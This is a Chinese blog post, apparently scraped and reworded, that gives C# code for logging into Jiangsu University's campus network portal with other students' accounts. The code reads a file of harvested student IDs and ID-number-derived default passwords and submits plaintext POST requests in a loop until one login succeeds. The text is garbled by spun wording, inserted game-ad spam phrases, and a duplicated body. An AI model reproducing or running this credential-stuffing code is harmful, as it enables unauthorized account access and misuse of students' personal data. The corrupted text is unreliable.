string s = webClient.UploadString
作者:admin 日期:12/01/01 10:33 人气:
需要:当初江苏大学在教养行政区上网,用的是本人的学号+密码,经由门户网站登录,然而时光是有限度的,研讨生100hs,本科生30hs.然而存在这样一个事实,对计算机学院的学生来讲,基础天天24hs泡在网上,100hs显明不够用啊!!!!而其余学院的学生因为良多不试验室,或是对网络的需求小或是根本为0,而存在大批挥霍!因而,这直接导致了这样一个事实,盘算机学院的学生没网上,或者说为了上网,要从大量的账号中,一个一个的纯手工试,苦不堪言啊!!!!
可行性:因为上网的账号和密码分辨对应的是学生的学号跟身份证号后6位(可以更改密码,因为许多人不必上网,所以没改,我们能够拿来用用.O(c_c)O哈哈~),现在可取得很多学生的注册信息(包括以上信息.)好了资源有了(在工程根目录下Account.txt文件).技巧积聚方面,想到了FCL中得WebClient,应用MSDN查问该类信息,很多中国人实际上都把他们看作是一个人……",发现用於将材料上载至资源的 WebClient 方法如下:
查阅相干方法的详细描写,DebugLZQ以为最简答的办法,就是用UploadString方式,向服务器发送Post要求. 具体信息请参考MSDN文档:
在前面剖析完了腾讯的网页登陆加密机制后,不论是好是坏,下面咱们来看看"江苏大学"的.
翻开江苏大学上网登陆页面:
用Fiddler2查阅Http恳求,发明成果如下:
(居然都是明文!!!)完整是0防范啊!!!!!既然这样子的话,捏造HTTP请求的工作就变得太简单了!(假如像是前面分析的腾讯网页登陆加密机制那样,1.85星王合击,伪造起来要麻烦一点,为了伪造,须要分析它的加密机制,以给服务器发送准确格局的数据.)string postStr = @"DDDDD="+userName +@"&upass=" +password + @"&0MKKey="; 这里的userName和password就是前面看到的明文!构建这个请求就很简单了. 下面给大家附上源码,很简短,但是很适用!如下:using System;using System.Collections.Generic;using System.Linq;using System.Text;using System.IO;using System.Threading;using System.Net;namespace EasyForDebugLZQ class Program static void Main(string[] args) StreamReader sr = new StreamReader(@"account.txt"); WebClient webClient = new WebClient(); webClient.Encoding = Encoding.Default; for (int i=0;i<100 ;i++) string tempString = sr.ReadLine(); Console.WriteLine(tempString); Console.WriteLine(tempString.Substring(0, 10)); Console.WriteLine(tempString.Substring(tempString.Length - 6, 6)); string userName = tempString.Substring(0, 10); string password = tempString.Substring(tempString.Length - 6, 6); string postStr = @"DDDDD="+userName +@"&upass=" +password + @"&0MKKey="; string s = webClient.UploadString(@" postStr); Thread.Sleep(1000); if (s.Length == 3630) Console.WriteLine("Login Success! UserName="+userName +"Password="+password ); break;
程序很简略,后果如下(由于今天是1号,所以第一个账号就登陆胜利了!O(c_c)O哈哈~):
这时就可以打开你的阅读器,Happy的上网了!
祝各位博友元旦快乐!
【请点击下面的"绿色通道"-"关注DebugLZQ",DebugLZQ愿意与各位一同窗习提高!,各位新年快活!Happy New Year,1.95传奇!】
2011:微博让中国更平坦 搜狐视频正式推出3D片子频道,首发上线6部红蓝破体高清电影 2012科技十大等待:照相机像手机一样操作简单 comScore:2011成Twitter等用户兴致网站暴发年 学惯用品供给商进军iPad平台 开发学习利用 如何成为"10倍效力"开发者 疾速排序(Quicksort)的Javascript实现 WCF服务端运行时架构系统详解[续篇] WCF服务端运行时架构体制详解[下篇] 更多常识库文章... China-pub 2011秋季教材巡展 China-Pub 计算机绝幅员书按需印刷服务 ASP.NET原理分析 WPF/Silverlight相关(1) 2011年12月(6) 2011年11月(2) 2011年9月(1) 2011年8月(27) 2011年3月(1)
可行性:因为上网的账号和密码分辨对应的是学生的学号跟身份证号后6位(可以更改密码,因为许多人不必上网,所以没改,我们能够拿来用用.O(c_c)O哈哈~),现在可取得很多学生的注册信息(包括以上信息.)好了资源有了(在工程根目录下Account.txt文件).技巧积聚方面,想到了FCL中得WebClient,应用MSDN查问该类信息,很多中国人实际上都把他们看作是一个人……",发现用於将材料上载至资源的 WebClient 方法如下:
查阅相干方法的详细描写,DebugLZQ以为最简答的办法,就是用UploadString方式,向服务器发送Post要求. 具体信息请参考MSDN文档:
在前面剖析完了腾讯的网页登陆加密机制后,不论是好是坏,下面咱们来看看"江苏大学"的.
翻开江苏大学上网登陆页面:
用Fiddler2查阅Http恳求,发明成果如下:
(居然都是明文!!!)完整是0防范啊!!!!!既然这样子的话,捏造HTTP请求的工作就变得太简单了!(假如像是前面分析的腾讯网页登陆加密机制那样,1.85星王合击,伪造起来要麻烦一点,为了伪造,须要分析它的加密机制,以给服务器发送准确格局的数据.)string postStr = @"DDDDD="+userName +@"&upass=" +password + @"&0MKKey="; 这里的userName和password就是前面看到的明文!构建这个请求就很简单了. 下面给大家附上源码,很简短,但是很适用!如下:using System;using System.Collections.Generic;using System.Linq;using System.Text;using System.IO;using System.Threading;using System.Net;namespace EasyForDebugLZQ class Program static void Main(string[] args) StreamReader sr = new StreamReader(@"account.txt"); WebClient webClient = new WebClient(); webClient.Encoding = Encoding.Default; for (int i=0;i<100 ;i++) string tempString = sr.ReadLine(); Console.WriteLine(tempString); Console.WriteLine(tempString.Substring(0, 10)); Console.WriteLine(tempString.Substring(tempString.Length - 6, 6)); string userName = tempString.Substring(0, 10); string password = tempString.Substring(tempString.Length - 6, 6); string postStr = @"DDDDD="+userName +@"&upass=" +password + @"&0MKKey="; string s = webClient.UploadString(@" postStr); Thread.Sleep(1000); if (s.Length == 3630) Console.WriteLine("Login Success! UserName="+userName +"Password="+password ); break;
程序很简略,后果如下(由于今天是1号,所以第一个账号就登陆胜利了!O(c_c)O哈哈~):
这时就可以打开你的阅读器,Happy的上网了!
祝各位博友元旦快乐!
【请点击下面的"绿色通道"-"关注DebugLZQ",DebugLZQ愿意与各位一同窗习提高!,各位新年快活!Happy New Year,1.95传奇!】
2011:微博让中国更平坦 搜狐视频正式推出3D片子频道,首发上线6部红蓝破体高清电影 2012科技十大等待:照相机像手机一样操作简单 comScore:2011成Twitter等用户兴致网站暴发年 学惯用品供给商进军iPad平台 开发学习利用 如何成为"10倍效力"开发者 疾速排序(Quicksort)的Javascript实现 WCF服务端运行时架构系统详解[续篇] WCF服务端运行时架构体制详解[下篇] 更多常识库文章... China-pub 2011秋季教材巡展 China-Pub 计算机绝幅员书按需印刷服务 ASP.NET原理分析 WPF/Silverlight相关(1) 2011年12月(6) 2011年11月(2) 2011年9月(1) 2011年8月(27) 2011年3月(1)